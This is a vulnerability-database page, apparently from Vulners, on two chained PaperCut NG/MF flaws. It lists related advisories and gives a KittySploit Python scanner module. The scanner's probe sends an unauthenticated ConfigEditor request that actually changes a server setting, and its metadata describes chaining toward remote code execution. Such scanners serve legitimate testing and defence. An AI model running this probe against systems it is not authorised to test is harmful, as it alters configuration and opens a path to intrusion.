PaperCut CVE-2026-82078 SQL Primitive Detect
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
| Exploit for CVE-2026-81578 | 29 Aug 202613:12 | – | githubexploit | |
| Exploit for CVE-2026-81578 | 29 Aug 202615:08 | – | githubexploit | |
| The vulnerability in the web interface for controlling printing control software in PaperCut MF and PaperCut NG allows a perpetrator to gain access to read and modify data. | 23 Sep 202600:00 | – | bdu_fstec | |
| The vulnerability of the printing control software in PaperCut MF and PaperCut NG, related to insecure dynamic class loading, allows a violator to execute arbitrary code. | 23 Sep 202600:00 | – | bdu_fstec | |
| CVE-2026-81578 | 28 Aug 202613:05 | – | circl | |
| CVE-2026-82078 | 28 Aug 202613:05 | – | circl | |
| PaperCut NG/MF Missing Authentication for Critical Function Vulnerability | 31 Aug 202600:00 | – | cisa_kev | |
| PaperCut NG/MF Unsafe Reflection Vulnerability | 31 Aug 202600:00 | – | cisa_kev | |
| CISA Adds Two Known Exploited Vulnerabilities to Catalog | 31 Aug 202612:00 | – | cisa | |
| CVE-2026-81578 | 28 Aug 202611:39 | – | cve |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect PaperCut CVE-2026-82078 unsafe external user lookup SQL primitive."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "PaperCut CVE-2026-82078 SQL Primitive Detect",
"description": (
"Detects CVE-2026-82078 in PaperCut NG/MF when chained with CVE-2026-81578: "
"attacker-controlled user-lookup SQL templates and JDBC driver settings can "
"be written via unauthenticated Tapestry ConfigEditor direct-service requests."
),
"author": ["KittySploit Team"],
"severity": "critical",
"cve": ["CVE-2026-82078", "CVE-2026-81578"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-82078",
"https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/",
],
"modules": [
"scanner/http/papercut_cve_2026_81578_detect",
],
"tags": [
"web",
"scanner",
"papercut",
"sql-injection",
"jdbc",
"rce",
"cve-2026-82078",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 4,
"reversible": True,
"approval_required": True,
"produces": ["tech_hints", "risk_signals", "exploit_paths"],
"cost": 1.2,
"noise": 0.35,
"value": 1.0,
"requires": {
"tech_hints_any": ["papercut"],
},
"chain": {
"produces_capabilities": [
{"capability": "rce_surface", "from_detail": "external lookup SQL"},
],
"suggested_followups": [
"scanner/http/papercut_cve_2026_81578_detect",
],
},
},
}
render_page = OptString("Home", "Public render page for Tapestry direct service", False, advanced=True)
_CONFIG_KEYS = (
"user-lookup.enabled",
"user-lookup.db-driver",
"user-lookup.db-url",
"user-lookup.id-to-username-sql",
"auth.web-login.card-id.enable",
)
def _is_papercut(self) -> bool:
response = self.http_request(method="GET", path="/app", allow_redirects=True)
body = (response.text or "") if response else ""
return "papercut" in body.lower()
def _config_write_reachable(self) -> bool:
render = str(self.render_page or "Home").strip() or "Home"
path = f"/app?service=direct/1/{render}/ConfigEditor/$Form"
data = {"configSearch": "user-lookup", "configKey": "user-lookup.enabled", "configValue": "N"}
response = self.http_request(method="POST", path=path, data=data, allow_redirects=False)
if not response:
return False
code = int(response.status_code or 0)
body = response.text or ""
location = str(response.headers.get("Location") or "")
if "login" in location.lower():
return False
markers = ("ConfigEditor", "user-lookup", "configKey", "Saved", "Configuration")
return code in (200, 302, 500) and any(marker in body for marker in markers)
def run(self):
if not self._is_papercut():
return False
if self._config_write_reachable():
self.set_info(
severity="critical",
cve="CVE-2026-82078",
reason=(
"Unauthenticated ConfigEditor reachable for user-lookup keys "
"(chain with CVE-2026-81578 for RCE)"
),
keys=list(self._CONFIG_KEYS),
)
return True
return False
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29 Sep 2026 10:07Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
CVSS 49.4
EPSS0.85581
SSVC